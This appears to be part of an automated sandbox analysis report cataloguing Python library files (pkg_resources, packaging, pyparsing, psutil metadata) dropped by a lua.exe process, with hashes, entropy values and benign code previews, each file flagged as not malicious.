Preview:	# -- coding: utf-8 --..""".oss2.xml_utils.~~~~~~~~~~~~~~..XML................. - parse_.................XML. - to_.................XML.."""..import xml.etree.ElementTree as ElementTree..from .models import (SimplifiedObjectInfo,. SimplifiedBucketInfo,. PartInfo,. MultipartUploadInfo,. LifecycleRule,. LifecycleExpiration,. CorsRule,. LiveChannelInfoTarget,. LiveChannelInfo,. LiveRecord,. LiveChannelVideoStat,. LiveChannelAudioStat)..from .compat import urlunquote, to_unicode, to_string.from .utils import iso8601_to_unixtime, date_to_iso8601, iso8601_to_date...def _find_tag(parent, path):. child = parent.find(path). if child is None:. raise RuntimeError("pa

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	107946
Entropy (8bit):	4.496747332589537
Encrypted:	false
SSDEEP:	1536:BVCXhnVawu3wc6Gn1ZmqloYP+sjYeJcE5zPXP+W+iwV/sOz:BVAxQ6GnDlX7PXPk5z
MD5:	55C8198E7E96DB55AB00FB677946111A
SHA1:	2A0466AD071D40D6B93D252554419E42391F8219
SHA-256:	2C44561C78936DACA5BC436EDA592ED0CE33AF3641C05AE77F675B105CC576F7
SHA-512:	E9821FCCB40D94B6B98E9B693950600864E6E08070FFC3ECC5D0D29E1593BDF543FA8DA2398DB00E950BF70AF6319B6FC8B242ED23E73A9880BF6FA95536C75B
Malicious:	false
Preview:	""".Package resource API.--------------------..A resource is a logical file contained within a package, or a logical.subdirectory thereof. The package resource API expects resource names.to have their path parts separated with ``/``, not whatever the local.path separator is. Do not use os.path operations to manipulate resource.names being passed into the API...The package resource API is designed to work with normal filesystem packages,..egg files, and unpacked .egg files. It can also work in a limited way with..zip files and with custom PEP 302 loaders that support the ``get_data()``.method.."""..import sys.import os.import io.import time.import re.import types.import zipfile.import zipimport.import warnings.import stat.import functools.import pkgutil.import operator.import platform.import collections.import plistlib.import email.parser.import errno.import tempfile.import textwrap.import itertools.import inspect.import ntpath.import posixpath.from pkgutil import get_importer..try

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\appdirs.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	24701
Entropy (8bit):	4.66575309144007
Encrypted:	false
SSDEEP:	384:PuEi2JUGW2JkEvYIfyk1ZONcJ4P0fl1+yP9HNrYAtovtzfBZ:PuEBYk1D1v95YAtod
MD5:	845B81EC7AB998BD8A74A81D90876921
SHA1:	B2210670FD12E935F2E38EEC166F62E389EE9C8E
SHA-256:	3227AF504BAFDE5FE6408487E52174B210E4FC13611C7CD88803EB4F72133782
SHA-512:	CBFADE70CB495B5F1BE533DA89D6B6D325FDC162456B24B98262D77BEA70188C1A176520BCBB72BD4F96F22C0116D0563E9A8261FBA44134C2C9CA7352053B12
Malicious:	false
Preview:	#!/usr/bin/env python.# -- coding: utf-8 --.# Copyright (c) 2005-2010 ActiveState Software Inc..# Copyright (c) 2013 Eddy Petri.or.."""Utilities for determining application-specific dirs...See <http://github.com/ActiveState/appdirs> for details and usage..""".# Dev Notes:.# - MSDN on where to store app data files:.# http://support.microsoft.com/default.aspx?scid=kb;en-us;310294#XSLTH3194121123120121120120.# - Mac OS X: http://developer.apple.com/documentation/MacOSX/Conceptual/BPFileSystem/index.html.# - XDG spec for Un*x: http://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html..__version_info__ = (1, 4, 3).__version__ = '.'.join(map(str, __version_info__))...import sys.import os..PY3 = sys.version_info[0] == 3..if PY3:. unicode = str..if sys.platform.startswith('java'):. import platform. os_name = platform.java_ver()[3][0]. if os_name.startswith('Windows'): # "Windows XP", "Windows 7", etc.. system = 'win32'. elif os_name.startswith('Mac'): #

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\__about__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	736
Entropy (8bit):	4.76082264257744
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17KjCy5IRnHt4oJDTFvqvUHC3u/5G/E4ZqQ9590/be2UHVjuEF/M:q9O0ope2PFNz14MHqwhQ95fDR/mBcl2B
MD5:	CB911241AF12A5D8C1B50DCA67A44753
SHA1:	10C90B41A21B9D7AE5DFD7935113AF35AF1E269B
SHA-256:	3CD32C6999F851C087CAE6E044E1F56E5E8296E76E3E3239905AD2A7F660925A
SHA-512:	EBB6E4C06FB81A90C5BB7B8F2E843AAD885B8FBAE16812B3A084D473CACE963AFBA97EDA9B123221CF6B33DB89FE576BC2E79A581E30F969667813FD70CEDF00
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..__all__ = [. "__title__",. "__summary__",. "__uri__",. "__version__",. "__author__",. "__email__",. "__license__",. "__copyright__",.]..__title__ = "packaging".__summary__ = "Core utilities for Python packages".__uri__ = "https://github.com/pypa/packaging"..__version__ = "20.4"..__author__ = "Donald Stufft and individual contributors".__email__ = "donald@stufft.io"..__license__ = "BSD-2-Clause or Apache-2.0".__copyright__ = "Copyright 2014-2019 %s" % __author__.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	562
Entropy (8bit):	4.355224934892913
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17KjCy5o5SfiJEgF4MNnRnHt4oJDTFvqvUHC3u/D:q9O0ope2p3JFNFNz14MHqK
MD5:	2EED0787819307CC2E25CF45A4A9B5AD
SHA1:	74E5F4A45CF9A2E4E3E1F66456676BC7C49B2FD1
SHA-256:	E9E9DBA795E045F8C18EC23DF9B9F4D078C77F94C7DB53C330E2A4256F31C3EC
SHA-512:	3DBE5D38DFBAFDAE2BD2D0BC621996E3B5B857E714BB2F24264A88D929349255F9332256CE01121B8E19BA9F2ACE51D5DA9DB3898066F43AD2F4975ED2692537
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..from .__about__ import (. __author__,. __copyright__,. __email__,. __license__,. __summary__,. __title__,. __uri__,. __version__,.)..__all__ = [. "__title__",. "__summary__",. "__uri__",. "__version__",. "__author__",. "__email__",. "__license__",. "__copyright__",.].

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\_compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1128
Entropy (8bit):	4.823343997423168
Encrypted:	false
SSDEEP:	24:q9O0ope29ny8bGk74hgcTGMfXLAmZOZGjNB2tdJBN2U:IDo8IZKk4hNZOZcQtdJBNv
MD5:	6D5FC01182E0EBBDAA4327FD5CEF0655
SHA1:	8E738F123389098CEBA20249672A339C0015B2D5
SHA-256:	31776C1A9484FD6F99AC7A02F3B6A7748E0B576140C14EC72CBF9E1DEFC28E15
SHA-512:	4C7F2B9C3059D050C5B7EA1617AC499CAD3746C214BCB7BBEBA68A2EF58441DB3CCFCBBBBCA4BDB1DE65CB9E5BB93B7A4AEF7615747E7D0C8802A7614E191811
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import sys..from ._typing import TYPE_CHECKING..if TYPE_CHECKING: # pragma: no cover. from typing import Any, Dict, Tuple, Type...PY2 = sys.version_info[0] == 2.PY3 = sys.version_info[0] == 3..# flake8: noqa..if PY3:. string_types = (str,).else:. string_types = (basestring,)...def with_metaclass(meta, *bases):. # type: (Type[Any], Tuple[Type[Any], ...]) -> Any. """. Create a base class with a metaclass.. """. # This requires a bit of explanation: the basic idea is to make a dummy. # metaclass for one level of class instantiation that replaces itself with. # the actual metaclass.. class metaclass(meta): # type: ignore. def __new__(cls, name, this_bases, d):. # type: (Type[Any], str, Tuple[Any]

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\_structures.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2022
Entropy (8bit):	4.342922127361113
Encrypted:	false
SSDEEP:	48:IDo8V6hdrdljmExXrEVWXrEVo6UjmExXrEVWXrEVedWdv:F32EUNEE
MD5:	2A2F319784450ED303D86E6524053F42
SHA1:	B6B3552024C5BC24DF9F000E34E13B6A37992EE5
SHA-256:	A339025FC43C7F6A84D4489CDD8890E1BB8355F833DA261EBD8F5EED1DB2DE26
SHA-512:	55CA410AA4222751656BA1D5C8B7C1CEF972DB9333F8115CB3CC91FC3CED293AADA426895B96BE81BA4FD1587B7A7AADB8E6A467E50E82D71C423D4226089291
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function...class InfinityType(object):. def __repr__(self):. # type: () -> str. return "Infinity".. def __hash__(self):. # type: () -> int. return hash(repr(self)).. def __lt__(self, other):. # type: (object) -> bool. return False.. def __le__(self, other):. # type: (object) -> bool. return False.. def __eq__(self, other):. # type: (object) -> bool. return isinstance(other, self.__class__).. def __ne__(self, other):. # type: (object) -> bool. return not isinstance(other, self.__class__).. def __gt__(self, other):. # type: (object) -> bool. return True.. def __ge__(self, other):. # type: (object) -> bool. return True..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\_typing.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.751869054200876
Encrypted:	false
SSDEEP:	48:xWbqWeWBqxBXoYxtKwXF8opwKjtuvMiqF:y3cr4KkOpgi
MD5:	B0DAC8EF6953FB835C7D633E6A427BA7
SHA1:	F521B39E0501E178412D557AC85D625626B85326
SHA-256:	C79F44850E7B4CC4FE9134722D9576E4766F6061B06EE713A3A88A87F3B4B4CC
SHA-512:	DE5D2189075A26DC2E9BA41C1BBF2D4CCD3D5FB475802A0D7A70E311A301C4C4CB619D9F15C6263A420583B4F8BF87FCD589D6F96FE7B1EDC367B875D54CFDDA
Malicious:	false
Preview:	"""For neatly implementing static typing in packaging...`mypy` - the static type analysis tool we use - uses the `typing` module, which.provides core functionality fundamental to mypy's functioning...Generally, `typing` would be imported at runtime and used in that fashion -.it acts as a no-op at runtime and does not have any run-time overhead by.design...As it turns out, `typing` is not vendorable - it uses separate sources for.Python 2/Python 3. Thus, this codebase can not expect it to be present..To work around this, mypy allows the typing import to be behind a False-y.optional to prevent it from running at runtime and type-comments can be used.to remove the need for the types to be accessible directly during runtime...This module provides the False-y guard in a nicely named fashion so that a.curious maintainer can reach here to read this...In packaging, all static-typing related imports should be guarded as follows:.. from packaging._typing import TYPE_CHECKING.. if TYPE_CHEC

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\markers.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9518
Entropy (8bit):	4.816121104833385
Encrypted:	false
SSDEEP:	192:FzOayaMUTfexKz3QgleanMaD/7sEURo6RMAY0w9C:FzOzUTexKz3QyMsAnZRDw9C
MD5:	8F00E9CCDAF4B88878C4EC2685BD6BC7
SHA1:	8938627B8CAFF9D57BAEED28B96733B36278DDE5
SHA-256:	6129ED4243272B2C35FC51BAA1134D9C6C4B2FA6C0C5C1973ADB8513E6134B79
SHA-512:	C84C4E620D2CC22DA61D0599C6BE338F4C6D38C0B65EB833E592CFC936A22CD937AB6EFD7D5B161A82CA9BB06CA1181CFCB8D5DFA757AE98CFECB86C346D5AC8
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import operator.import os.import platform.import sys..from pkg_resources.extern.pyparsing import ParseException, ParseResults, stringStart, stringEnd.from pkg_resources.extern.pyparsing import ZeroOrMore, Group, Forward, QuotedString.from pkg_resources.extern.pyparsing import Literal as L # noqa..from ._compat import string_types.from ._typing import TYPE_CHECKING.from .specifiers import Specifier, InvalidSpecifier..if TYPE_CHECKING: # pragma: no cover. from typing import Any, Callable, Dict, List, Optional, Tuple, Union.. Operator = Callable[[str, str], bool]...__all__ = [. "InvalidMarker",. "UndefinedComparison",. "UndefinedEnvironmentName",. "Marker",. "default_environment",.]...class InvalidMarker(ValueError):. """

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\requirements.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4929
Entropy (8bit):	5.092090121910001
Encrypted:	false
SSDEEP:	96:FB2RgpYRDjkIyzxNxP9TGuHg/U3dNLGNdfPe4zOBIqev0BDuh:FARMacaYLCKIzvKY
MD5:	BA015057B389CB4644134B8FAD43F294
SHA1:	54D9F261C073B73E48C95973D04CB433CCD4D36A
SHA-256:	47C2B81F8C57FE20F82EFA46C35537A2EB8F6C637EC33B05803EDBAE100CEF56
SHA-512:	662F81BFDA98EA450B3D6438459526511295D8A8005D89F5752BE913E1CB910C18CED2A12B8132CA8DD68AC10877FE8EBCDB1993282F617107496B880957E53A
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import string.import re..from pkg_resources.extern.pyparsing import stringStart, stringEnd, originalTextFor, ParseException.from pkg_resources.extern.pyparsing import ZeroOrMore, Word, Optional, Regex, Combine.from pkg_resources.extern.pyparsing import Literal as L # noqa.from urllib import parse as urlparse..from ._typing import TYPE_CHECKING.from .markers import MARKER_EXPR, Marker.from .specifiers import LegacySpecifier, Specifier, SpecifierSet..if TYPE_CHECKING: # pragma: no cover. from typing import List...class InvalidRequirement(ValueError):. """. An invalid requirement was found, users should refer to PEP 508.. """...ALPHANUM = Word(string.ascii_letters + string.digits)..LBRACKET = L("[").suppress().RBRACKET = L("]").suppr

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\specifiers.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	31944
Entropy (8bit):	4.309184167775029
Encrypted:	false
SSDEEP:	384:FFhKj+BkVQ9IEszaYuhdwhOuhEFIOI10liN36fRZMnQKx/OIGtNbc6:lKIkVlEs7uhdwhOuhEFxISlO9Qg/O9g6
MD5:	8E104C1478944512DB1284C6425D7E5C
SHA1:	7761CF1DF1CA1144DCE6A5D04B88E2E4179FDCAB
SHA-256:	B98A7D975DC5D0B7249D2E9DE0DEB4CAD88180598884A89D78EABD027B314DCA
SHA-512:	00C42FC324332D04A438987D70AFFFAD855800CD9FE7F6CF52B62321AA2718E70814ABE8076FEA2FE158D32779DFD44DC0232C92EDC6307AB83C7B7E38CE45EA
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import abc.import functools.import itertools.import re..from ._compat import string_types, with_metaclass.from ._typing import TYPE_CHECKING.from .utils import canonicalize_version.from .version import Version, LegacyVersion, parse..if TYPE_CHECKING: # pragma: no cover. from typing import (. List,. Dict,. Union,. Iterable,. Iterator,. Optional,. Callable,. Tuple,. FrozenSet,. ).. ParsedVersion = Union[Version, LegacyVersion]. UnparsedVersion = Union[Version, LegacyVersion, str]. CallableOperator = Callable[[ParsedVersion, str], bool]...class InvalidSpecifier(ValueError):. """. An invalid specifier was found, users should refer to PEP 440.. """...class BaseSp

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\tags.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24067
Entropy (8bit):	4.80313202952782
Encrypted:	false
SSDEEP:	384:FSdp8Ay8XuveWXnE/3okOEl2hx1plf3BoQYKMKEp9xkzOw9J0sZTp0d5BHUfbvOO:8drUvtnE/okOEl2hx1plf3BoQ3D69xkh
MD5:	5976599D204E1C99A69A745701CD1331
SHA1:	C8AC635F74B5F9A23845EBBF95CE5DDF12C51470
SHA-256:	34A312DFB668FE75AB67182C0FACDB5EC5E073D79D9FD9B5EB470188B98725D1
SHA-512:	6E52BDC7B6FB593C3450002F622A1A4A8572932EC5CE108F661900A492D9C89CE042739767F8CF46AA0C3D88A448B8C7217C0AC0072C914F56E43865DC32FCB6
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import..import distutils.util..try:. from importlib.machinery import EXTENSION_SUFFIXES.except ImportError: # pragma: no cover. import imp.. EXTENSION_SUFFIXES = [x[0] for x in imp.get_suffixes()]. del imp.import logging.import os.import platform.import re.import struct.import sys.import sysconfig.import warnings..from ._typing import TYPE_CHECKING, cast..if TYPE_CHECKING: # pragma: no cover. from typing import (. Dict,. FrozenSet,. IO,. Iterable,. Iterator,. List,. Optional,. Sequence,. Tuple,. Union,. ).. PythonVersion = Sequence[int]. MacVersion = Tuple[int, int]. GlibcVersion = Tuple[int, int]...logger = logging.getLogger(__name__)..INTERPRETER_SHORT_NAMES = {. "python": "

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1811
Entropy (8bit):	4.76405669637177
Encrypted:	false
SSDEEP:	24:q9O0ope2D6gpeS1ujJcz55V5+It5yzlQQkMNx/U9wytUvWY09ab1LJ0ztjVx:IDo8HKac1V+IMl7xs9wyaR0Mb9q1Vx
MD5:	ED9896111C9B49550314BC6B238E5A11
SHA1:	F0B8F8941F45F8A4821CBF564BE73FD27524651A
SHA-256:	452865BE78CED82B58483F2EAE2DF67EB30C14C4E607EDE286CAB5FA08732C4C
SHA-512:	46558CA841C4A65EC41458E018C7D1850D5851E54AD0C5F04F3B201B5D24DB44A3A24C4F2959CFAFF491B575DE16798962AE18B290656B1000C78848B1507AC1
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import re..from ._typing import TYPE_CHECKING, cast.from .version import InvalidVersion, Version..if TYPE_CHECKING: # pragma: no cover. from typing import NewType, Union.. NormalizedName = NewType("NormalizedName", str).._canonicalize_regex = re.compile(r"[-_.]+")...def canonicalize_name(name):. # type: (str) -> NormalizedName. # This is taken from PEP 503.. value = _canonicalize_regex.sub("-", name).lower(). return cast("NormalizedName", value)...def canonicalize_version(_version):. # type: (str) -> Union[Version, str]. """. This is very similar to Version.__str__, but has one subtle difference. with the way it handles the release segment.. """.. try:. version = Version(_version). except InvalidVe

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\version.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15470
Entropy (8bit):	4.505586612608989
Encrypted:	false
SSDEEP:	384:FMp0TNccqOwOvEYj73WnmgWilqllrr6dWgni:+0VqOwOvEYj7GnLWilAlrr643
MD5:	E68593DD6268BA28C359E5830A577214
SHA1:	9ED72920A9DC00F4E29FA68DBB7C3843448D59F3
SHA-256:	0A76E6F8E3BD0FFA9DF194C5C7315C8D26AF7B14981599B279AA0FBCCB2380F7
SHA-512:	E477ECB8FBBB3643C0485640F94CB80D8681089036F164E800BB9694C1D9FB4DA606B70197C608E4427BE8D9CE9320B1FD51B8EE4055E312FE4DC3067C122602
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..from __future__ import absolute_import, division, print_function..import collections.import itertools.import re..from ._structures import Infinity, NegativeInfinity.from ._typing import TYPE_CHECKING..if TYPE_CHECKING: # pragma: no cover. from typing import Callable, Iterator, List, Optional, SupportsInt, Tuple, Union.. from ._structures import InfinityType, NegativeInfinityType.. InfiniteTypes = Union[InfinityType, NegativeInfinityType]. PrePostDevType = Union[InfiniteTypes, Tuple[str, int]]. SubLocalType = Union[InfiniteTypes, int, str]. LocalType = Union[. NegativeInfinityType,. Tuple[. Union[. SubLocalType,. Tuple[SubLocalType, str],. Tuple[NegativeInfinityType, SubLocalType],. ],. ...,. ]

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\pyparsing.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	232055
Entropy (8bit):	4.628655516703601
Encrypted:	false
SSDEEP:	6144:Nk7fj9Cr2dr4a4Nx+cOgq0emJ2gW6YnqTX8meDeJZOtxjK5cbE/NbE7EVkAP:KgOE5
MD5:	FC9C293F584C3BF6DE629AC89E5A0E83
SHA1:	6823808A8E61FD3E3EC722EF45AD6CF1B4BD9AA2
SHA-256:	B66AE9FA5BBEA8ED62EF967320DE40D769CA4510F50A6E15A64FB92D1F6B8A6B
SHA-512:	1D037ACBA4B9362A24F2E8867FA5B85FB1AAB1CF121DD0054EF7706E643E0D9D989A7CC202D04C5E9ACEE4A73D1AF08E082CA19D9C34A9FC04E4E9B001DE42E0
Malicious:	false
Preview:	# module pyparsing.py..#..# Copyright (c) 2003-2018 Paul T. McGuire..#..# Permission is hereby granted, free of charge, to any person obtaining..# a copy of this software and associated documentation files (the..# "Software"), to deal in the Software without restriction, including..# without limitation the rights to use, copy, modify, merge, publish,..# distribute, sublicense, and/or sell copies of the Software, and to..# permit persons to whom the Software is furnished to do so, subject to..# the following conditions:..#..# The above copyright notice and this permission notice shall be..# included in all copies or substantial portions of the Software...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT...# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY..# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\extern\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2094
Entropy (8bit):	4.216388720293622
Encrypted:	false
SSDEEP:	48:kcAd8WP+KzxY43fHpCm2rCkALsIy+FSWQn:kpdXPdf3/ArVM0
MD5:	CB4101A887D481F3FFD41CE8C838BE86
SHA1:	C1292F7A85B83491ADF1F66A5512880F2B2E0E38
SHA-256:	1A3EDB32DE58239706B7A91C83E33618DC4E2FF936C7E6D494BCCF6992BCB9E9
SHA-512:	D5440F23AD0EDF7A1BE17D9C126AF46EC87E5050196D413A0EAAAEF952857E1B274F4ABA4D819BEEEAE7A551092BB5E6D7DF11E438ECA10E9ED4B9FC74CB4CD2
Malicious:	false
Preview:	import sys...class VendorImporter:. """. A PEP 302 meta path importer for finding optionally-vendored. or otherwise naturally-installed packages from root_name.. """.. def __init__(self, root_name, vendored_names=(), vendor_pkg=None):. self.root_name = root_name. self.vendored_names = set(vendored_names). self.vendor_pkg = vendor_pkg or root_name.replace('extern', '_vendor').. @property. def search_path(self):. """. Search first the vendor package then as a natural package.. """. yield self.vendor_pkg + '.'. yield ''.. def find_module(self, fullname, path=None):. """. Return self when fullname starts with root_name and the. target module is one vendored through this importer.. """. root, base, target = fullname.partition(self.root_name + '.'). if root:. return. if not any(map(target.startswith, self.vendored_names)):. return. retu

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1549
Entropy (8bit):	5.124627749498161
Encrypted:	false
SSDEEP:	48:2kVOOrXIJ9JzAwJPl6432svv32s3EsIq3tYHv:2vOrXIJ9JzAw7R3r3zVfaP
MD5:	E35FD9F271D19D5F742F20A9D1F8BB8B
SHA1:	51EDE753F5D20B28226AB01C133AD67797EAF716
SHA-256:	24C12984500CAA07FFDCE19EEBC06396C5E6D244B573BC6C438F4A6EF8E56C1B
SHA-512:	B228EDA8BE2D189160324960A52AAAC8DB4E12418E987478F36AF21D448BE057FBE979562F7F4707244CEE11572E5018DD3488B8A3D6B6C002B158F76D4D14EA
Malicious:	false
Preview:	BSD 3-Clause License..Copyright (c) 2009, Jay Loden, Dave Daeschler, Giampaolo Rodola'.All rights reserved...Redistribution and use in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:.. * Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer... * Redistributions in binary form must reproduce the above copyright notice,. this list of conditions and the following disclaimer in the documentation. and/or other materials provided with the distribution... * Neither the name of the psutil authors nor the names of its contributors. may be used to endorse or promote products derived from this software without. specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	22626
Entropy (8bit):	5.348498436683802
Encrypted:	false
SSDEEP:	384:XgxGcsn560IwPb1p2t6/acDLXtJFEIucotEOeA1:XgxC6Pgo6/N9JFEnI0
MD5:	FD44F21A13390E9455AEC26166344E90
SHA1:	F3803894A357E04C9CD0A8BB929FE1F7995E0B6A
SHA-256:	069863FDA59A3742371C9F60AD268B0B04C760A595C7D1A1DE557D590BF205E6
SHA-512:	D86F021129499EFA2954BCC5F870BC96D26641F9158B658224EFA08EA652E98FCE74D676BCC8C8C2FF353CBC95A73D5378783470B3BFA5DA130461F129123C0F
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: psutil.Version: 5.8.0.Summary: Cross-platform lib for process and system monitoring in Python..Home-page: https://github.com/giampaolo/psutil.Author: Giampaolo Rodola.Author-email: g.rodola@gmail.com.License: BSD.Keywords: ps,top,kill,free,lsof,netstat,nice,tty,ionice,uptime,taskmgr,process,df,iotop,iostat,ifconfig,taskset,who,pidof,pmap,smem,pstree,monitoring,ulimit,prlimit,smem,performance,metrics,agent,observability.Platform: Platform Independent.Classifier: Development Status :: 5 - Production/Stable.Classifier: Environment :: Console.Classifier: Environment :: Win32 (MS Windows).Classifier: Intended Audience :: Developers.Classifier: Intended Audience :: Information Technology.Classifier: Intended Audience :: System Administrators.Classifier: License :: OSI Approved :: BSD License.Classifier: Operating System :: MacOS :: MacOS X.Classifier: Operating System :: Microsoft :: Windows :: Windows 10.Classifier: Operating System :: Microsoft :: Windows :: Win

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4393
Entropy (8bit):	5.6392435827004395
Encrypted:	false
SSDEEP:	96:JXmNZJoBJDhc3JGmDgAEM7dJPDoYNrBXN0FgkmvtCz9Hlk/f+k:JX4rR77f7
MD5:	D64CCEC80476B3FFDBB2E4B0BD54F434
SHA1:	A923CDE208F4E064AD382E061B7488AD89A32D90
SHA-256:	505387ADCCA8028D0533DBE5C896E3C33B4E5402C94688141CD7FAB0BEF191A7
SHA-512:	103BCDC4A9AADEEB3CB166D738E13DC9B05F1CAF5F55D3D0421A80A361427AEC1C0FFFCFA83F636AA7F1B50AE6DC952398A342F0394975539978F0D219F5FAD6
Malicious:	false
